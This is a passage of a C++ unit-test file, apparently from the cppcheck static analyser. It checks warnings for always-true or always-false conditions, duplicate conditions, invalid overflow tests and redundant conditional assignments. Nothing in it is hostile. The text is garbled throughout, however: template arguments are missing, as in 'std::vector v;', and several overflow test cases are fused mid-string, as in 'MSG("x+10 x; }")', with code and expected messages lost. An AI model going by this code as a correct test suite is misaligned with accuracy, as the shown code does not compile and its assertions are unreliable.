if(i<=18) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'i<=18' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8209\n check(\"void f() {\\n\"\n \" for(int x = 0; x < 3; ++x)\\n\"\n \" if(x == -5) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'x==-5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8407\n check(\"int f(void) {\\n\"\n \" for(int i = 0; i <1; ++i)\\n\"\n \" if(i == 0) return 1; \\n\" // <<\n \" else return 0;\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'i==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned int u1, unsigned int u2) {\\n\"\n \" if (u1 <= 10 && u2 >= 20) {\\n\"\n \" if (u1 != u2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:16]: (style) Condition 'u1!=u2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10544\n check(\"void f(int N) {\\n\"\n \" if (N > 0) {\\n\"\n \" while (N)\\n\"\n \" N = test();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11098\n check(\"void f(unsigned int x) { if (x == -1u) {} }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int *p, const int *q) {\\n\"\n \" return p != NULL && q != NULL && p == NULL;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:40]: (style) Return value 'p==NULL' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #11789\n \" std::vector v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" int j = i - v.size();\\n\"\n \" if (j >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12039\n \" if ((128 + i < 255 ? 128 + i : 255) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12727\n \" bool f() const {\\n\"\n \" return g() > 0;\\n\"\n \" }\\n\"\n \" std::size_t g() const {\\n\"\n \" return 5 - h();\\n\"\n \" }\\n\"\n \" std::size_t h() const {\\n\"\n \" if (x > 7)\\n\"\n \" return 5;\\n\"\n \" return (5 + x) % 5;\\n\"\n \" }\\n\"\n \" std::size_t x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueContainer() {\n // #9329\n check(\"void c1(std::vector&);\\n\"\n \"void c2(std::vector&);\\n\"\n \"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void g();\\n\"\n \" void f(bool b) {\\n\"\n \" v.clear();\\n\"\n \" g();\\n\"\n \" return !v.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10409\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s == \\\"ab\\\" ) return;\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s != \\\"ab\\\" )\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10226\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw 0;\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'it!=vector.end()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11303\n check(\"void f(int n) {\\n\"\n \" std::vector buffer(n);\\n\"\n \" if(buffer.back() == 0 ||\\n\"\n \" buffer.back() == '\\\\n' ||\\n\"\n \" buffer.back() == '\\\\0') {}\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Condition 'buffer.back()=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (style) Condition 'buffer.back()=='\\\\0'' is always false\\n\", errout_str());\n }\n\n // #9353\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", \"\", errout_str());\n\n // #10508\n check(\"bool f(const std::string& a, const std::string& b) {\\n\"\n \" return a.empty() || (b.empty() && a.empty());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:2:46]: (style) Return value 'a.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" struct iterator;\\n\"\n \" iterator begin() const;\\n\"\n \" iterator end() const;\\n\"\n \"};\\n\"\n \"A g();\\n\"\n \"void f(bool b) {\\n\"\n \" std::set s;\\n\"\n \" auto v = g();\\n\"\n \" s.insert(v.begin(), v.end());\\n\"\n \" if(!b && s.size() != 1)\\n\"\n \" return;\\n\"\n \" if(!s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::string s) {\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" s += '\\\\n';\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(std::string& p) {\\n\"\n \" const std::string d{ \\\"abc\\\" };\\n\"\n \" p += d;\\n\"\n \" if(p.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (style) Condition 'p.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int i, FILE* fp) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" s += std::to_string(i);\\n\"\n \" s += \\\"\\\\n\\\";\\n\"\n \" return fwrite(s.c_str(), 1, s.length(), fp) == s.length();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #9148\n \" if (s.empty() || s.size() < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:2:31]: (style) Condition 's.size()<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void bar(std::vector& vv) {\\n\" // #11464\n \" class F {\\n\"\n \" public:\\n\"\n \" F(int, std::vector& lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" private:\\n\"\n \" std::vector& mV;\\n\"\n \" } fi(1, vv);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::vector v;\\n\"\n \" bar(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct F {\\n\"\n \" F(int, std::vector&lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" std::vector& mV;\\n\"\n \"};\\n\"\n \"void g(std::vector& vv) {\\n\"\n \" F(1, vv);\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" g(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueLoop()\n {\n check(\"long foo() {\\n\"\n \" bool bUpdated = false;\\n\"\n \" long Ret{};\\n\"\n \" do {\\n\"\n \" Ret = bar();\\n\"\n \" if (Ret == 0) {\\n\"\n \" if (bUpdated)\\n\"\n \" return 1;\\n\"\n \" bUpdated = true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" bUpdated = false;\\n\"\n \" }\\n\"\n \" while (bUpdated);\\n\"\n \" return Ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo() {\\n\"\n \" bool bFirst = true;\\n\"\n \" do {\\n\"\n \" if (bFirst)\\n\"\n \" bar();\\n\"\n \" if (baz())\\n\"\n \" break; \\n\"\n \" bFirst = false;\\n\"\n \" } while (true);\\n\"\n \" return bFirst;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void * pool = NULL;\\n\"\n \" do {\\n\"\n \" pool = malloc(40);\\n\"\n \" if (dostuff())\\n\"\n \" break;\\n\"\n \" pool = NULL;\\n\"\n \" }\\n\"\n \" while (0);\\n\"\n \" if (pool) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8499\n check(\"void f(void)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < 2; ++i)\\n\"\n \" {\\n\"\n \" for (int j = 0; j < 8; ++j)\\n\"\n \" {\\n\"\n \" if ( (i==0|| i==1)\\n\" // << always true\n \" && (j==0) )\\n\"\n \" {;}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:20] -> [test.cpp:7:27]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10863\n check(\"void f(const int A[], int Len) {\\n\"\n \" if (Len <= 0)\\n\"\n \" return;\\n\"\n \" int I = 0;\\n\"\n \" while (I < Len) {\\n\"\n \" int K = I + 1;\\n\"\n \" for (; K < Len; K++) {\\n\"\n \" if (A[I] != A[K])\\n\"\n \" break;\\n\"\n \" } \\n\"\n \" I = K; \\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11434\n \" const int N = 5;\\n\"\n \" bool a[N];\\n\"\n \" for (int i = 0; i < N; a[i++] = false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8192\n \" for (int i = 0; i > 10; ++i) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (style) Condition 'i>10' is always false\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int i = 1000; i < 20; ++i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Condition 'i<20' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int foo(int foo, int bar, bool baz, bool flag) {\\n\"\n \" if (baz && flag) {\\n\"\n \" do {\\n\"\n \" if (bar==42)\\n\"\n \" return 0;\\n\"\n \" } while (flag);\\n\"\n \" }\\n\"\n \" return foo;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:6:18]: (style) Condition 'flag' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueTryCatch()\n {\n check(\"void g();\\n\"\n \"void f(int x)\\n\"\n \"{\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \" catch(...) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" g();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void h();\\n\"\n \"void f(int x) {\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" catch( ... ) {}\\n\"\n \" }\\n\"\n \" h();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10701\n \" std::string s;\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" s = g();\\n\"\n \" }\\n\"\n \" catch (const Err& err) {}\\n\"\n \" }\\n\"\n \" catch (const std::exception& e) {}\\n\"\n \" if (s != \\\"abc\\\") {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void multiConditionAlwaysTrue() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if (val > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val > 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Condition 'activate' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) Condition 'foo' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6904\n check(\"void f() {\\n\"\n \" const int b[2] = { 1,0 };\\n\"\n \" if(b[1] == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'b[1]==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9878\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && b){;}\\n\"\n \" else if (!a && b){;}\\n\"\n \" else if (!a && !b){;}\\n\"\n \" else {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateCondition() {\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:3:8]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:10]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x != 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" g();\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) { x++; }\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8996\n check(\"void g(int** v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" int* d[] = {&a, &b};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9311\n check(\"struct c {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(struct c* v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" struct c d[] = {{&a}, {&b}};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8993\n check(\"void f(const std::string& x) {\\n\"\n \" auto y = x;\\n\"\n \" if (x.empty()) y = \\\"1\\\";\\n\"\n \" if (y.empty()) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9106\n check(\"struct A {int b;};\\n\"\n \"void f(A a, int c) {\\n\"\n \" if (a.b) a.b = c;\\n\"\n \" if (a.b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void c();\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" c();\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" a = 2;\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:9:14]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" auto g = [&] { b = !a; };\\n\"\n \" if (b)\\n\"\n \" g();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool& a);\\n\"\n \"void f(bool b) {\\n\"\n \" auto h = std::bind(&g, std::ref(b));\\n\"\n \" if (b)\\n\"\n \" h();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *i) {\\n\"\n \" if (*i == 0) {\\n\"\n \" *i = 1;\\n\"\n \" }\\n\"\n \" if (*i == 0) {\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(std::function);\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto x = [&v] { v.push_back(1); };\\n\"\n \" if(v.empty()) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \" if(v.empty())\\n\"\n \" return;\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(const S& s) {\\n\"\n \" int a = 0, b = 0;\\n\"\n \" if (s.i == 0)\\n\"\n \" a = 1;\\n\"\n \" if (s.i == 0)\\n\"\n \" b = 1;\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:13]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"void f(double d) {\\n\" // #12712\n \" if (std::isfinite(d)) {}\\n\"\n \" if (std::isfinite(d)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:22]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #12391\n \"int f(const struct S* a, const struct S* b) {\\n\"\n \" const struct S* p = b;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" return p->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // do not crash\n check(\"void assign(const MMA& other) {\\n\"\n \" if (mPA.cols != other.mPA.cols || mPA.rows != other.mPA.rows)\\n\"\n \" ;\\n\"\n \" if (other.mPA.cols > 0 && other.mPA.rows > 0)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #11202\n \" float f = 0x1.4p+3;\\n\"\n \" if (f > 10.0) {}\\n\"\n \" if (f < 10.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidTestForOverflow() {\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert((p + x) < p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)= p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)>=p'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p > (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p>(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always false. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p <= (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p<=(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(signed int x) {\\n\" // unsigned overflow => don't warn\n \" assert(x + 100U < x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // x + c < x\n\n#define MSG(EXPR, RESULT) \"[test.cpp:1:30]: (warning) Invalid test for overflow '\" EXPR \"'; signed integer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always \" RESULT \". [invalidTestForOverflow]\\n\"\n\n check(\"int f(int x) { return x + 10 > x; }\");\n ASSERT_EQUALS(MSG(\"x+10>x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x+10>=x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x+10 x; }\");\n ASSERT_EQUALS(MSG(\"x-10>x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x-10>=x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x-10 x; }\");\n ASSERT_EQUALS(MSG(\"x+y>x\", \"y>0\"), errout_str());\n\n check(\"int f(int x, int y) { return x + y >= x; }\");\n ASSERT_EQUALS(MSG(\"x+y>=x\", \"y>=0\"), errout_str());\n\n // x - y < x\n check(\"int f(int x, int y) { return x - y < x; }\");\n ASSERT_EQUALS(MSG(\"x-y0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y <= x; }\");\n ASSERT_EQUALS(MSG(\"x-y<=x\", \"y>=0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y > x; }\");\n ASSERT_EQUALS(MSG(\"x-y>x\", \"y<0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y >= x; }\");\n ASSERT_EQUALS(MSG(\"x-y>=x\", \"y<=0\"), errout_str());\n }\n\n void checkConditionIsAlwaysTrueOrFalseInsideIfWhile() {\n check(\"void f() {\\n\"\n \" enum states {A,B,C};\\n\"\n \" const unsigned g_flags = B|C;\\n\"\n \" if(g_flags & A) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) Condition 'g_flags&A' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" if(a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { a--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (style) Condition 'a+1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueFalseInLogicalOperators() {\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = true; if(x||b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(true||b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = false; if(x&&b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(false&&b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9578\n check(\"bool f(const std::string &s) {\\n\"\n \" return s.size()>2U && s[0]=='4' && s[0]=='2';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:35] -> [test.cpp:2:48]: (style) Return value 's[0]=='2'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) { if (i == 1 || 2) {} }\\n\"); // #12487\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Condition 'i==1||2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"enum E { E1 = 1, E2 = 2 };\\n\"\n \"void f(int i) { if (i == E1 || E2) {} }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:29]: (style) Condition 'i==E1||E2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void pointerAdditionResultNotNull() {\n check(\"void f(char *ptr) {\\n\"\n \" if (ptr + 1 != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison is wrong. Result of 'ptr+1' can't be 0 unless there is pointer overflow, and pointer overflow is undefined behaviour. [pointerAdditionResultNotNull]\\n\", errout_str());\n }\n\n void duplicateConditionalAssign() {\n setMultiline();\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The statement 'if (x!=y) x=y' is logically equivalent to 'x=y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y'\\n\"\n \"[test.cpp:2:11]: note: Condition 'x!=y' is 